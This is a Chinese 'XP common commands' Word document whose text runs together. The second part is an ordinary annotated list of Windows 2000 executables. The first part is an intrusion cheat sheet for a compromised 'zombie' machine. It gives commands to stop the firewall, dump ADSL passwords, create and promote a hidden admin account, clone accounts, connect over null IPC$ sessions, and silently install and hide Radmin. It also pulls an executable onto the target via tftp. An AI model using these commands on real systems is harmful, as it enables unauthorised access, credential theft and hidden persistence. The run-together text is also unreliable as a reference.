《XP系统常用命令》word版.doc

XP系统常用命令XP系统常用命令2010-05-14 20：25net share d：web=e：web/grant：zk0898,change控制面版：运行：control计算机管理：command MMC结束XP防火墙进程：net stop sharedaccess查看ADSL帐号密码的代码：dialupass/allusers/stextc：pass.txt启动3389服务：net start TermService关闭所有防火墙的代码：cmd.exe/c net stop sharedaccess iis命令重启：iisreset/reboot用CMD命令实现路由跟踪：tracert域名(如：)结束进程：NET SHARE查看版本：ver查看中端(服务)：net start查看文件：dir查看3389：加用户：c：winntsystem32 net user adminserver$admin/add提权限：net localgroup administrators adminserver$/add 2180查看用户net user远程连接到主机CMD命令：telnet主机IP踢人：logoff ID查看当前人：query user打开telnet：net start telnet telnet连接工具：OpenTelnet删除共享：net share e123=e：删除共享：net share c$/del启用GUEST：net user guest/active：yes为GUEST设密码：net user guest 888888提升到管理员：net localgroupAdministratorsguest/add超级用户隐藏器：c：door adminserver$：admin克隆帐号：caIP你建立的帐号密码肉机默认帐号密码ca adminserver$admin adminserver admin完全禁止系统模认工享HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerMyCompute rNameSpaceDelegateFolders59031a47-3f72-44a7-89c5-5595fe6b30ee3389替换服务-中修改HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermServicec：winntsystem32copy termsrv.exe service.exe c：winntsystem32cd.c：winntsc config Alerter binpath=c：winntsystem32service.exe端口转向：f：webftp.exec：fpipe.exe-v-l开放的端口-r要转向的端口ip使用空口令连接：net use对方IPipc$/user：administrator(在上传文件的目录下)远程复制文件：c：radmin net usea-01ipc$12345/user：administrator c：ramdin copy r_server.exea-01admin$system32 c：ramdin copy radmin.rega-01admin$sytem32在对方CMD下：c：winntsystem32regedit/s radmin.reg c：winntsystem32r_server.exe/install/silenec net start r_server copy r_server.exe对方IPadmin$system32 c：opentelnet.exeIP ADMINISTRATOR0 90 copy文件名IPadmin$system32进入对方CMD：c：opentelnet.exeIp administrator0 90登陆CMD：c：telnet IP 90安装RADMIN：c：winntsystem32r_server/install silence c：winntsystem32r-server导入注册表：c：winntsystem32regedit.exe/s aaa.reg看端口：c：winntsystem32netstat-an改端口：c：winntsystem32r_server.exe/port：1024/pass：1234/save/silence起动服务：c：winntsystem32net start r_server隐藏文件：c：winntsystem32attrib.exe+h r_server.exe+h%systemroot$system32看看共享开了没有,没有的话把共享开开c：winntsystem32 net share清单是空的。c：winntsystem32 net share ipc$命令成功完成。c：winntsystem32 net share admin$命令成功完成。注册表运行命令regedit查看端口：netstat-n SA传送文件TFTP先在本机开tftp服务sqlexec tftp-i IP get windxp.exe c：windowssystem32comwindxp.exe 2000命令集-win2000命令集accwiz.exe accessibility wizard for walking you through setting up your machine for your mobility needs.辅助工具向导acsetups.exe acs setup dcom server executable actmovie.exe direct show setup tool直接显示安装工具append.exe allows programs to open data in specified directories as if they were in the current directory.允许程序打开制定目录中的数据arp.exe network display and modify ip-hardware addresses显示和更改计算机的ip与硬件物理地址的对应列表at.exe at is ascheduling utility also included with unix计划运行任务atmadm.exe displays statistics for atm call manager.atm调用管理器统计attrib.exe display and modify attributes for files and folders显示和更改文件和文件夹属性autochk.exe used to check and repair windows file systems检测修复文件系统autoconv.exe automates the file system conversion during reboots在启动过程中自动转化系统autofmt.exe automates the file format process during reboots在启动过程中格式化进程autolfn.exe used for for matting long file names使用长文件名格式bootok.exe boot acceptance application for registry bootvrfy.exe bootvrfy.exe,a program included in windows 2000 that notifies the system that startup was successful.bootvrfy.exe can be run on alocal or remote computer.通报启动成功cacls.exe displays or modifies access control lists(acls)of files.显示和编辑acl calc.exe windows calculators计算器cdplayer.exe windows cd player cd播放器change.exe changeuser|port|logon与终端服务器相关的查询charmap.exe character map字符映射表chglogon.exe same as usingchange logon启动或停用会话记录chgport.exe same as usingchange port改变端口(终端服务)chgusr.exe same as usingchange user改变用户(终端服务)chkdsk.exe check the hard disk for errors similar to scandisk 3stages must specify adrive letter磁盘检测程序chkntfs.exe same as using chkdsk but for ntfs ntfs磁盘检测程序cidaemon.exe component of ci filer service组成ci文档服务cipher.exe displays or alters the encryption of directoriesfileson ntfs partitions.在ntfs上显示或改变加密的文件或目录cisvc.exe content in dex-its the content indexing service for i索引内容ckcnv.exe convertor变换cleanmgr.exe disk cleanup,popular with windows 98磁盘清理cliconfg.exe sql server client network utility sql客户网络工具clipbrd.exe clipboard viewer for local will allow you to connect to other clipboards剪贴簿查看器clipsrv.exe start the clipboard server运行clipboard服务clspack.exe clspack used to create afile listing of system packages建立系统文件列表清单cluster.exe display acluster in adomain显示域的集群_cmd_.exe famous command prompt没什么好说的！cmdl32.exe connection manager auto-download自动下载连接管理cmmgr32.exe connection manager连接管理器cmmon32.exe connection manager monitor连接管理器监视cmstp.exe connection manager profile manager连接管理器配置文件安装程序comclust.exe about cluster server集群comp.exe comclust add,remove,or join acluster.比较两个文件和文件集的内容*compact.exe displays or alters the compression of files on ntfs partitions.显示或改变ntfs分区上文件的压缩状态conime.exe console ime ime控制台control.exe starts the control panel控制面板convert.exe convert file system to ntfs转换文件系统到ntfs convlog.exe converts ms iis log files转换iis日志文件格式到ncsa格式cprofile.exe copy profiles转换显示模式c.exe ms windows shost version 5.1较本宿主版本csrss.exe client server runtime process客户服务器runtime进程csvde.exe comma separated variable import/export utility日至格式转换程序dbgtrace.exe和terminal server相关dcomcnfg.exe display the current dcom configuration.dcom配置属性dcphelp.exe?dcpromo.exe promote adomain controller to adsi ad安装向导ddeshare.exe display dde shares on local or remote computer dde共享ddmprxy.exe debug.exe runs debug,a program testing and editing tool.就是debug啦！dfrgfat.exe defrag fat file system fat分区磁盘碎片整理程序dfrgntfs.exe defrag ntfs file system ntfs分区磁盘碎片整理程序dfs_cmd_.exe configures adfs tree配置一个dfs树dfsinit.exe distributed file system initialization分布式文件系统初始化dfssvc.exe distributed file system server分布式文件系统服务器diantz.exe ms cabinet maker制作cab文件diskperf.exe starts physical disk performance counters磁盘性能计数器dllhost.exe dllhost is used on all versions of windows 2000.dllhost is the hedost process for all com+applications.所有com+应用软件的主进程dllhst3g.exe dmadmin.exe disk manager service磁盘管理服务dmremote.exe part of disk management磁盘管理服务的一部分dns.exe dns applications dns doskey.exe recalls windows command lines and creates macros命令行创建宏dosx.exe dos extender dos扩展dplaysvr.exe direct play helper直接运行帮助drwatson.exe dr watson for 2000 fault detector华生医生错误检测drwtsn32.exe dr watson for 2000 viewer and configuration manager华生医生显示和配置管理dtcsetup.exe installs mdtc dvdplay.exe windows 2000 dvd player dvd播放dxdiag.exe direct-x diagn ostics direct-x诊断工具edlin.exe line-oriented text editor.命令行的文本编辑器(历史悠久啊！)edlin.exe line-oriented text editor.命令行的文本编辑器(历史悠久啊！)esentutl.exe ms database utility ms数据库工具eudcedit.exe private character editor ture type造字程序eventvwr.exe windows 2000 event viewer事件查看器evnt_cmd_.exe event to trap translator；configuration tool evntwin.exe event to trap translator setup exe2bin.exe converts exe to binary format转换exe文件到二进制expand.exe expand files that have been compressed解压缩extrac32.exe cab file extraction utility解cab工具fastopen.exe fastopen tracks the of files on ahard disk and stores the information in memory for fast access.快速访问在内存中的硬盘文件faxcover.exe fax cover page editor传真封面编辑faxqueue.exe display fax queue显示传真队列faxsend.exe fax wizard for sending faxes发送传真向导faxsvc.exe starts fax server启动传真服务fc.exe compares two files or sets of files and their differences比较两个文件的不同find.exe searches for atext string in file or files查找文件中的文本行findstr.exe searches for strings in files查找文件中的行finger.exe fingers auser and displays statistics on that user finger一个用户并显示出统计结果fixmapi.exe fix mapi files修复mapi文件flattemp.exe enable or disable temporally directories允许或者禁用临时文件目录fontview.exe display fonts in afont file显示字体文件中的字体forcedos.exe forces afile to start in dos mode.强制文件在do s模式下运行freecell.exe popular windows game空当接龙ftp.exe file transfer protocol used to transfer files over anetwork connection就是ftp了gdi.exe graphic device interface图形界面驱动grovel.exe grpconv.exe program manager group convertor转换程序管理员组help.exe displays help for windows 2000 commands显示帮助hostname.exe display hostname for machine.显示机器的hostname ie4uinit.exe ie5 user install tool ie5用户安装工具ieshwiz.exe customize folder wizard自定义文件夹向导iexpress.exe create and setup packages for install穿件安装包iisreset.exe restart iis admin service重启iis服务internat.exe keyboard language indicator applet键盘语言指示器ipconfig.exe windows 2000 ip configuration.察看ip配置ipsecmon.exe ip security monitor ip安全监视器ipxroute.exe ipx routing and source routing control program ipx路由和源路由控制程序irftp.exe setup ftp for wireless communication无线连接ismserv.exe intersite messaging service安装或者删除service control manager中的服务jdbgmgr.exe microsoft debugger for 4的调试器jetconv.exe convert ajet engine database转换jet engine数据库jetpack.exe compact jet database.压缩jet数据库jview.exe command-line loader for的命令行装载者krnl386.exe core component for windows 2000 2000的核心组件label.exe change label for drives改变驱动器的卷标lcwiz.exe license compliance wizard for local or remote systems.许可证符合向导ldifde.exe ldif cmd line manager ldif目录交换命令行管理licmgr.exe terminal server license manager终端服务许可协议管理lights.exe display connection status lights显示连接状况llsmgr.exe windows 2000 license manager 2000许可协议管理llssrv.exe start the license server启动许可协议服务器lnkstub.exe locator.exe rpc locator远程定位lodctr.exe load perfmon counters调用性能计数logoff.exe log current user off.注销用户lpq.exe displays status of aremote lpd queue显示远端的lpd打印队列的状态，显示被送到基于unix的服务器的打印任务lpr.exe send aprint job to anetwork printer.重定向打印任务到网络中的打印机。通常用于unix客户打印机将打印任务发送给连接了打印设备的nt的打印机服务器。lsass.exe lsa executable and server dll运行lsa和server的dll lserver.exe specifies the new dns domain for the default server指定默认server新的dns域macfile.exe used for managing macfiles管理macfiles magnify.exe used to magnify the current screen放大镜makecab.exe ms cabinet maker制作cab文件mdm.exe machine debug manager机器调试管理mem.exe display current memory stats显示内存状态migpwd.exe migrate passwords.迁移密码mmc.exe microsoft management console控制台mnmsrvc.exe netmeeting remote desktop sharing netmeeting远程桌面共享mobsync.exe manage synchronization.同步目录管理器mountvol.exe creates,s,or lists avolume mount point.创建、删除或列出卷的装入点。mplay32.exe ms media player媒体播放器mpnotify.exe multiple provider notification application多提供者通知应用程序mq1sync.exe mqbkup.exe ms message queue backup and restore utility信息队列备份和恢复工具mqexchng.exe msmq exchange connector setup信息队列交换连接设置mqmig.exe msmq migration utility信息队列迁移工具mqsvc.exe?mrinfo.exe multicast routing using snmp使用snmp多点传送路由mscdexnt.exe installs mscd(ms cd extensions)安装mscd msdtc.exe dynamic transaction controller console动态事务处理控制台msg.exe send amessage to auser local or remote.发送消息到本地或远程客户mshta.exe html application host html应用程序主机msiexec.exe starts windows installer program开始windows安装程序mspaint.exe microsoft paint画板msswchx.exe mstask.exe task schedule program任务计划表程序mstinit.exe task scheduler setup任务计划表安装narrator.exe program will allow you to have anarrator for reading.microsoft讲述人nbtstat.exe displays protocol stats and current tcp/ip connections using nbt使用nbt(tcp/ip上的netbios)显示协议统计和当前tcp/ip连接。nddeapir.exe ndde api server side ndde api服务器端net.exe net utility详细用法看/?net1.exe net utility dversion from ms net的升级版netdde.exe network dde will install itself into the background安装自己到后台netsh.exe creates ashell for network information用于配置和监控windows 2000命令行脚本接口。netstat.exe displays current connections.显示协议统计和当前的tcp/ip网络连接。nlsfunc.exe loads country-specific information加载特定国家(地区)的信息。windows 2000和ms-dos子系统不使用该命令。接受该命令只是为了与ms-dos文件兼容。notepad.exe opens windows 2000 notepad记事本nslookup.exe displays information for dns该诊断工具显示来自域名系统(dns)名称服务器的信息。ntbackup.exe opens the nt backup utility备份和故障修复工具ntbooks.exe starts windows help utility帮助ntdsutil.exe performs db maintenance of the adsi完成adsi的db的维护ntfrs.exe nt file replication service nt文件复制服务ntfrsupg.exe ntkrnlpa.exe kernel patch核心补丁ntoskrnl.exe core nt kernel kt的核心ntsd.exe ntvdm.exe simulates a16-bit windows environment模拟16位windows环境nw16.exe netware redirector netware转向器nw.exe runs netware s运行netware脚本odbcad32.exe odbc 32-bit administrator 32位odbc管理odbcconf.exe configure odbc drivers and data sources from command line命令行配置odbc驱动和数据源os2.exe an os/2 warp server(os2/o)os/2 os2srv.exe an os/2 warp server os/2 os2ss.exe an os/2 warp server os/2 osk.exe on screen keyboard屏幕键盘packager.exe windows 2000 packager manager对象包装程序pathping.exe combination of ping and tracert包含ping和tracert的程序pax.exe is aposix program and path names used as arguments must be specified in posix format.use/c/users/defaultinstead ofc：usersdefault.启动便携式存档互换(p ax)实用程序pentnt.exe used to check the pentium for the floating point division error.检查pentium的浮点错误perfmon.exe starts windows performance monitor性能监视器ping.exe packet internet groper验证与远程计算机的连接posix.exe used for backward compatibility with unix用于兼容unix print.exe cmd line used to print files打印文本文件或显示打印队列的内容。progman.exe program manager程序管理器proquota.exe profile quota program psxss.exe posix subsystem application posix子系统应用程序qappsrv.exe displays the available application terminal servers on the network在网络上显示终端服务器可用的程序qprocess.exe display information about processes local or remote在本地或远程显示进程的信息(需终端服务)query.exe query termserver user process and sessions查询进程和对话quser.exe display information about auser logged on显示用户登陆的信息(需终端服务)qwinsta.exe display information about terminal sessions.显示终端服务的信息rasadmin.exe start the remote access admin service启动远程访问服务rasautou.exe creates aras connection建立一个ras连接rasdial.exe dial aconnection拨号连接rasphone.exe starts aras connection运行ras连接rcp.exe copies afile from and to arcp service.在windows 2000计算机和运行远程外壳端口监控程序rshd的系统之间复制文件rdpclip.exe rdpclip allows you to copy and paste files between aterminal session and client console session.再终端和本地复制和粘贴文件recover.exe recovers readable information from abad or defective disk从坏的或有缺陷的磁盘中恢复可读取的信息。redir.exe starts the redirector service运行重定向服务regedt32.exe 32-bit register service 32位注册服务regini.exe modify registry permissions from within a用脚本修改注册许可register.exe register aprogram so it can have special execution characteristics.注册包含特殊运行字符的程序regsvc.exe regsvr32.exe registers and unregisters dlls.as to how and where it registers them idont know.注册和反注册dll regtrace.exe options to tune debug options for applications failing to dump trace statements trace设置regwiz.exe registration wizard注册向导remrras.exe replace.exe replace files用源目录中的同名文件替换目标目录中的文件。reset.exe reset an active section重置活动部分rexec.exe runs commands on remote hosts running the rexec service.在运行rexec服务的远程计算机上运行命令。rexec命令在执行指定命令前，验证远程计算机上的用户名，只有安装了tcp/ip协议后才可以使用该命令。risetup.exe starts the remote installation service wizard.运行远程安装向导服务route.exe display or edit the current routing tables.控制网络路由表routemon.exe no longer supported不再支持了！router.exe router software that runs either on adedicated dos or on an os/2 system.route软件在dos或者是os/2系统rsh.exe runs commands on remote hosts running the rsh service在运行rsh服务的远程计算机上运行命令rsm.exe mounts and configures remote system media配置远程系统媒体rsnotify.exe remote storage notification recall远程存储通知回显rsvp.exe resource reservation protocol源预约协议runas.exe run aprogram as another user允许用户用其他权限运行指定的工具和程序rundll32.exe launches a32-bit dll program启动32位dll程序runonce.exe causes aprogram to run during startup运行程序再开始菜单中rwinsta.exe reset the session subsystem hardware and software to known initial values重置会话子系统硬件和软件到最初的值savedump.exe does not write to e：winntuser.dmp不写入user.dmp中scardsvr.exe smart card resource management server子能卡资源管理服务器schupgr.exe it will read the schema files(.ldf files)and upgrade the schema.(part of adsi)读取计划更新文件和更新计划secedit.exe starts security editor help自动安全性配置管理services.exe controls all the services控制所有服务sethc.exe set high contrast-chang es colours and display mode logoff to set it back to normal设置高对比setreg.exe shows the software publishing state key values显示软件发布的国家语言setup.exe gui box prompts you to goto control panel to configure system components安装程序(转到控制面板)setver.exe set version for files设置ms-dos子系统向程序报告的ms-dos版本号sfc.exe system file checker test and check system files for integrity系统文件检查sfmprint.exe print services for macintosh打印macintosh服务sfmpsexe.exe sfmsvc.exe shadow.exe monitor another terminal services session.监控另外一台中端服务器会话share.exe windows 2000和ms-dos子系统不使用该命令。接受该命令只是为了与ms-dos文件兼容shmgrate.exe shrpubw.exe create and share folders建立和共享文件夹sigverif.exe file signature verification文件签名验证skeys.exe serial keys utility序列号制作工具smlogsvc.exe performance logs and alerts性能日志和警报smss.exe sndrec32.exe starts the windows sound recorder录音机sndvol32.exe display the current volume information显示声音控制信息snmp.exe simple network management protocol used for network mangement简单网络管理协议snmptrap.exe utility used with snmp snmp工具sol.exe windows solitaire game纸牌sort.exe compares files and folders读取输入、排序数据并将结果写到屏幕、文件和其他设备上spoolsv.exe part of the spooler service for printing打印池服务的一部分sprestrt.exe srvmgr.exe starts the windows server manager服务器管理器stimon.exe wdm stillimage-monitor stisvc.exe wdm stillimage-service subst.exe associates apath with adrive letter将路径与驱动器盘符关联svchost.exe svchost.exe is ageneric host process name for services that are run from dynamic-link libraries(dlls).dll得主进程syncapp.exe creates windows briefcase.创建windows文